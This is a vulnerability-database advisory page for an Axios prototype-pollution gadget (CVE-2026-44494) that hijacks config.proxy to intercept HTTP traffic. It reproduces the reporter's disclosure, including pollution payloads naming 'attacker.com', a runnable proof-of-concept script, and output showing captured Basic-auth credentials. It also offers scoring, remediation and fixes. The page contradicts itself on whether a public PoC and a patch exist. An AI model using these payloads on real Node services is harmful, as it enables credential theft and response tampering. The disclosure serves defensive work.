Skip to main content

Axios CVE-2026-44494

| EUVDEUVD-2026-36257 HIGH
Unintended Proxy or Intermediary ('Confused Deputy') (CWE-441)
2026-05-29 https://github.com/axios/axios GHSA-35jp-ww65-95wh
SSRF
8.7
CVSS 3.1 · Vendor: https://github.com/axios/axios
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify Node app using vulnerable axios
  2. Delivery
    Find prototype-pollution sink in dependency
  3. Exploit
    Send payload polluting Object.prototype.proxy
  4. Install
    App issues outbound axios HTTP request
  5. C2
    http.js reads polluted proxy via prototype chain
  6. Execute
    setProxy routes traffic through attacker host
  7. Impact
    Capture credentials and tamper with responses

Vulnerability Assessment

Weakness
CWE
CWE-441
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service Proxy/intermediary controls
Exploitation Conditions

Exploitation requires that a separate prototype-pollution primitive already exists in the application's dependency graph (e.g., a vulnerable version of qs, minimist, lodash, or body-parser reachable from attacker-controlled input) allowing the attacker to set Object.prototype.proxy to an object with host/port/protocol fields. The vulnerable code path is the Node.js HTTP adapter in lib/adapters/http.js, so the target must use Axios server-side on Node.js - browser/XHR adapter usage is not exploitable via this gadget. No authentication, no user interaction, and no Axios-side configuration is required (PR:N/UI:N), but CVSS attack complexity is High specifically because the prerequisite PP sink is non-default. The application is also limited to Axios versions in the GHSA-affected range (>= 1.0.0, < 1.16.0); applications already on 1.16.0+ or that have frozen Object.prototype are not exploitable.
Impact

Signals diverge: the reporter assigns CVSS 9.4 (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:L) while the supplied authoritative score is 8.7 (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N) - the High attack complexity reflects the realistic prerequisite that a separate prototype-pollution sink must already exist in the application's dependency graph, and the Changed scope reflects that the impact lands on third-party HTTP endpoints rather than Axios itself. No EPSS score, KEV listing, or SSVC decision was supplied, so widespread automated exploitation is not currently indicated; however, a verified PoC is published in the GitHub Security Advisory, which raises copy-paste exploitation risk for any app whose transitive dependencies include known PP-vulnerable packages (qs, minimist, lodash, body-parser historically). Net: this is a real priority for Node services that handle credentials or internal API traffic, but the dependency on a co-resident PP gadget means it is not a pure drive-by - defenders should weight it as a high-impact secondary-stage vulnerability rather than a turnkey RCE. Conflict to verify: the description states 'Affected Versions: All versions (v0.x - v1.x)' but the GHSA package range is >= 1.0.0, < 1.16.0, so 0.x exposure should be confirmed with the vendor advisory.
Exploit ScenarioDerived

An attacker first triggers a known prototype-pollution sink in any dependency of the target Node.js service (for example, a vulnerable query-string parser receiving ?__proto__[proxy][host]=attacker.com&__proto__[proxy][port]=8080). On the next outbound Axios call - even hardcoded, developer-trusted code like axios.get('https://api.internal.corp/secrets', { auth: {...} }) - the request is silently routed through the attacker's proxy, exposing the Basic auth header and full URL while the attacker returns forged JSON. A working PoC is published in the GHSA advisory and reproduces full credential capture and response tampering.
This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 29, 2026

Man-in-the-middle interception in the Axios HTTP client library (all versions through 1.15.x) allows any prototype pollution elsewhere in the Node.js dependency tree to be escalated into full traffic hijacking. Because config.proxy is not defined in Axios defaults, lib/adapters/http.js reads it via prototype-chain traversal - letting an attacker who controls Object.prototype.proxy silently route every outbound HTTPS/HTTP request through their server, harvesting Authorization headers, cookies, and request bodies while tampering with responses. Publicly available exploit code exists in the disclosure; no public exploit identified at time of analysis in the wild and not on CISA KEV.

RemediationAI

Vendor-released patch: upgrade Axios to 1.16.0 or later, per the GHSA-35jp-ww65-95wh advisory at https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh. Because exploitation requires a separate prototype-pollution sink, also audit and update transitive dependencies known for PP issues (qs, minimist, lodash, body-parser) and enable lockfile scanners such as npm audit or Snyk. If upgrading immediately is not feasible, the reporter's suggested compensating controls are to harden Axios's merged config by freezing Object.prototype at process start with Object.freeze(Object.prototype) (side effect: breaks any library that legitimately writes to the prototype), or to monkey-patch the adapter to read proxy with Object.prototype.hasOwnProperty.call(config, 'proxy') before passing it to setProxy(). As a network-layer mitigation, egress firewall rules that restrict outbound destinations to a known allowlist will blunt MITM redirection to attacker-controlled hosts but will not prevent SSRF-style abuse to internal services.

Affected VersionsENISA

axios 1.0.0, < 1.16.0

Affected Packages

npm axios fix: 1.16.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Sign in to check
Technical ContextAI · show details

Axios is one of the most widely deployed npm HTTP clients (tens of millions of weekly downloads), used directly and transitively by countless Node.js services. The root cause combines CWE-1321 (Prototype Pollution) with CWE-441 (Unintended Proxy / Confused Deputy): the merged request config object inherits from Object.prototype, and the Node HTTP adapter dereferences config.proxy with a bare property read at lib/adapters/http.js:670. Because proxy is intentionally absent from lib/defaults/index.js, mergeConfig never copies it as an own property, so any value placed on Object.prototype.proxy is transparently picked up by setProxy() and used to rewrite options.hostname, options.port, and options.path. This is a distinct gadget from the earlier transformResponse issue (GHSA-fvcv-3m26-pcqx, fixed in 1.15.0), which the 1.15.0 header-sanitization patch does not mitigate. Affected CPE is pkg:npm/axios.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources
Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/axios/axios) PRIMARY 8.7 HIGH
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
SUSE HIGH
Red Hat 8.7 HIGH

Primary rating from Vendor (https://github.com/axios/axios).

CVSS VectorVendor: https://github.com/axios/axios

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack - intercepting, reading, and modifying all HTTP traffic including authentication credentials.

The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server.

Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints - the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses.

Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object)

CWE

  • CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
  • CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

CVSS 3.1

Score: 9.4 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

MetricValueJustification
Attack VectorNetworkPP is triggered remotely via any vulnerable dependency
Attack ComplexityLowOnce PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges RequiredNoneNo authentication needed
User InteractionNoneNo user interaction required
ScopeUnchangedMITM within the application's network context
ConfidentialityHighAttacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames)
IntegrityHighAttacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints - unlike transformResponse which must return true
AvailabilityLowAttacker could drop requests or return errors, but this is secondary to C/I impact

Why This Bypasses mergeConfig

The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:

  1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) - proxy is NOT in this set
  2. defaultToConfig2 for proxy is never called
  3. The merged config has no own proxy property
  4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain
  5. Object.prototype.proxy is found → used by setProxy()

This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic - it completely bypasses it.

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe - no configuration errors needed.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:

javascript
Object.prototype.proxy = {
  host: 'attacker.com',
  port: 8080,
  protocol: 'http',
};

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

javascript
// This looks safe to the developer - no proxy configured
const response = await axios.get('https://api.internal.corp/secrets', {
  auth: { username: 'svc-account', password: 'prod-key-abc123!' }
});

3. The Execution

At http.js:668-670:

javascript
setProxy(
  options,
  config.proxy,    // ← traverses prototype chain → finds polluted proxy
  protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path
);

setProxy() at http.js:191-239 then:

javascript
function setProxy(options, configProxy, location) {
  let proxy = configProxy;    // = { host: 'attacker.com', port: 8080 }
  // ...
  if (proxy) {
    options.hostname = proxy.hostname || proxy.host;  // → 'attacker.com'
    options.port = proxy.port;                         // → 8080
    options.path = location;                           // → full URL as path
    // ...
  }
}

4. The Impact (Full MITM)

The attacker's proxy server receives:

http
GET http://api.internal.corp/secrets HTTP/1.1
Host: api.internal.corp
Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ==
User-Agent: axios/1.15.0
Accept: application/json, text/plain, */*

The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker:

  • Sees every request URL, header, and body
  • Modifies every response (inject malicious data, change auth results)
  • Logs all API keys, session tokens, and passwords
  • Operates as an invisible proxy - the developer has no indication

5. Verified PoC Code

javascript
import http from 'http';
import axios from './index.js';

// Attacker's proxy server
const intercepted = [];
const proxyServer = http.createServer((req, res) => {
  intercepted.push({
    url: req.url,
    authorization: req.headers.authorization,
    headers: req.headers,
  });
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end('{"hijacked":true}');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;

// Real target server
const realServer = http.createServer((req, res) => {
  res.writeHead(200);
  res.end('{"data":"real"}');
});
await new Promise(r => realServer.listen(0, r));
const realPort = realServer.address().port;

// Prototype pollution
Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' };

// "Safe" request - goes through attacker's proxy
const resp = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, {
  auth: { username: 'admin', password: 'SuperSecret123!' }
});

console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server');
console.log('Intercepted Authorization:', intercepted[0]?.authorization);
// Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!)

delete Object.prototype.proxy;
realServer.close();
proxyServer.close();

Verified PoC Output

[1] Normal request (before pollution):
    Response source: real server
    response.data: {"data":"from-real-server"}
    Proxy intercept count: 0

[2] Prototype Pollution: Object.prototype.proxy
    Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }

[3] Request after pollution (same code, same URL):
    Response source: ATTACKER PROXY!
    response.data: {"data":"from-attacker-proxy","hijacked":true}

[4] Data intercepted by attacker's proxy:
    Full URL: http://127.0.0.1:50878/api/secrets
    Host: 127.0.0.1:50878
    Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh
    All headers: {
      "accept": "application/json, text/plain, */*",
      "user-agent": "axios/1.15.0",
      "accept-encoding": "gzip, compress, deflate, br",
      "host": "127.0.0.1:50878",
      "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh",
      "connection": "keep-alive"
    }

[5] Attacker capabilities demonstrated:
    ✓ Full URL visible (including internal hostnames)
    ✓ Authorization header visible (Base64-encoded credentials)
    ✓ Can modify/forge response data
    ✓ Affects ALL axios HTTP requests (not just a single instance)
    ✓ No assertOptions constraints (unlike transformResponse gadget)

Impact Analysis

  • Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.
  • Arbitrary Response Tampering: The attacker can return any response data - no constraints like transformResponse's "must return true".
  • Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.
  • Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios.
  • Invisible Attack: The developer has no indication that a proxy has been injected - requests complete normally with attacker-controlled responses.
  • Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.

Why This Is More Severe Than transformResponse (axios_26)

DimensiontransformResponse Gadgetproxy Gadget
Data accessthis.auth + response dataAll headers, auth, body, URL, response
Response controlMust return trueArbitrary responses
Attack visibilityResponse becomes true (suspicious)Normal-looking responses (invisible)
mergeConfig involvementGoes through defaultToConfig2Bypasses mergeConfig entirely

Recommended Fix

Fix 1: Use hasOwnProperty when reading security-sensitive config properties

javascript
// In lib/adapters/http.js
const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;
setProxy(options, proxy, location);

Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty

Properties not in defaults that are read by http.js and have security impact:

  • config.proxy - MITM
  • config.socketPath - Unix socket SSRF
  • config.transport - request hijack
  • config.lookup - DNS hijack
  • config.beforeRedirect - redirect manipulation
  • config.httpAgent / config.httpsAgent - agent injection

All should use hasOwnProperty checks.

Fix 3: Use null-prototype object for merged config

javascript
// In lib/core/mergeConfig.js
const config = Object.create(null);

Resources

Timeline

DateEvent
2026-04-16Vulnerability discovered during source code audit
2026-04-16PoC developed and verified - full MITM confirmed
TBDReport submitted to vendor via GitHub Security Advisory

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 273 npm packages depend on axios (189 direct, 84 indirect)

Ecosystem-wide dependent count for version 1.0.0.

Articles & Coverage 1

jfrog.com Inflated CVSS Scores in Axios Prototype Pollution Gadget CVEs (CVE-2026-42264, CVE-2026-44490, and More) Jul 01, 2026

Executive ViewAI

Why It Matters

Axios HTTP client library (versions ≤1.15.x) contains a high-severity vulnerability with publicly available exploit code that enables attackers to intercept all application traffic, steal authentication credentials, and modify API responses. Organizations using Axios in Node.js environments face exposure of sensitive credentials and API keys if another prototype pollution vulnerability exists elsewhere in their dependency chain.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Implement interim mitigations: (1) Restrict outbound network access to explicitly whitelisted proxy endpoints; (2) Add application-level request signing and response integrity verification; (3) Conduct complete dependency audit and remediate other prototype pollution vulnerabilities; (4) Enable egress traffic monitoring and alerting for Object.prototype modifications; (5) Minimize deserialization from untrusted sources; (6) Evaluate temporary migration to alternative HTTP libraries (undici, node-fetch) pending patch release.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Threat Intel
1
1 source
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery HIGH

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Same weakness CWE-441 – Unintended Proxy or Intermediary ('Confused Deputy')

View all
CVE-2026-72526 CRITICAL
9.9
CVE-2026-70398 CRITICAL
9.6
CVE-2026-42933 CRITICAL
10.0
CVE-2019-3924 HIGH POC
7.5
CVE-2020-5412 MEDIUM POC
6.5
CVE-2019-3996 MEDIUM POC
6.5
CVE-2025-62718 MEDIUM POC
6.3
CVE-2026-16158 CRITICAL
10.0

Same technique SSRF

View all
CVE-2021-34473 CRITICAL POC
9.1
CVE-2021-26855 CRITICAL POC
9.1
CVE-2021-21985 CRITICAL POC
9.8
CVE-2024-21893 HIGH POC
8.2
CVE-2021-40438 CRITICAL POC
9.0
CVE-2021-22054 HIGH POC
7.5
CVE-2021-21975 HIGH POC
7.5
CVE-2016-3718 MEDIUM POC
5.5

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise Module for Python 3 15 SP7 Not-Affected
SUSE Linux Enterprise Module for SAP Applications 15 SP7 Not-Affected
SUSE Linux Enterprise Server 15 SP7 Not-Affected

References

Advisories & patches
ADVISORY https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh ADVISORY https://vuldb.com/vuln/370401 REF https://access.redhat.com/errata/RHSA-2026:20889 REF https://access.redhat.com/errata/RHSA-2026:20938 REF https://access.redhat.com/errata/RHSA-2026:26234 REF https://access.redhat.com/errata/RHSA-2026:27044 REF https://access.redhat.com/errata/RHSA-2026:28964 REF https://access.redhat.com/errata/RHSA-2026:29082 REF https://access.redhat.com/errata/RHSA-2026:29197 REF https://access.redhat.com/errata/RHSA-2026:29800 REF https://access.redhat.com/errata/RHSA-2026:29864 REF https://access.redhat.com/errata/RHSA-2026:30650 REF https://access.redhat.com/errata/RHSA-2026:30651 REF https://access.redhat.com/errata/RHSA-2026:33005 REF https://access.redhat.com/errata/RHSA-2026:33155 REF https://access.redhat.com/errata/RHSA-2026:33160 REF https://access.redhat.com/errata/RHSA-2026:33163 REF https://access.redhat.com/errata/RHSA-2026:33173 REF https://access.redhat.com/errata/RHSA-2026:33183 REF https://access.redhat.com/errata/RHSA-2026:33574 REF https://access.redhat.com/errata/RHSA-2026:34525 REF https://access.redhat.com/errata/RHSA-2026:34527 REF https://access.redhat.com/errata/RHSA-2026:34530 REF https://access.redhat.com/errata/RHSA-2026:34794 REF https://access.redhat.com/errata/RHSA-2026:36108 REF https://access.redhat.com/errata/RHSA-2026:36611 REF https://access.redhat.com/errata/RHSA-2026:36754 REF https://access.redhat.com/errata/RHSA-2026:36820 REF https://access.redhat.com/errata/RHSA-2026:36882 REF https://access.redhat.com/errata/RHSA-2026:36883 REF https://access.redhat.com/errata/RHSA-2026:40119 REF https://access.redhat.com/errata/RHSA-2026:40138 REF https://access.redhat.com/errata/RHSA-2026:40262 REF https://access.redhat.com/errata/RHSA-2026:40792 REF https://access.redhat.com/errata/RHSA-2026:40795 REF https://access.redhat.com/errata/RHSA-2026:41031 REF https://access.redhat.com/errata/RHSA-2026:41055 REF https://access.redhat.com/errata/RHSA-2026:41064 REF https://access.redhat.com/errata/RHSA-2026:41066 REF https://access.redhat.com/errata/RHSA-2026:41928 REF https://access.redhat.com/errata/RHSA-2026:41951 REF https://access.redhat.com/errata/RHSA-2026:42078 REF https://access.redhat.com/errata/RHSA-2026:42085 REF https://access.redhat.com/errata/RHSA-2026:42142 REF https://access.redhat.com/errata/RHSA-2026:42146 REF https://access.redhat.com/errata/RHSA-2026:42796 REF https://access.redhat.com/errata/RHSA-2026:43052 REF https://access.redhat.com/errata/RHSA-2026:46885 REF https://access.redhat.com/errata/RHSA-2026:46903 REF https://access.redhat.com/errata/RHSA-2026:50300 REF https://access.redhat.com/errata/RHSA-2026:54188 REF https://access.redhat.com/errata/RHSA-2026:57191 REF https://access.redhat.com/errata/RHSA-2026:60520 REF https://access.redhat.com/errata/RHSA-2026:66488 REF https://access.redhat.com/errata/RHSA-2026:66545 REF https://access.redhat.com/security/cve/CVE-2026-44494 REF https://bugzilla.redhat.com/show_bug.cgi?id=2487942 REF https://github.com/advisories/GHSA-35jp-ww65-95wh REF https://github.com/advisories/GHSA-fvcv-3m26-pcqx REF https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44494.json

Search Externally

GitHub PoC Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy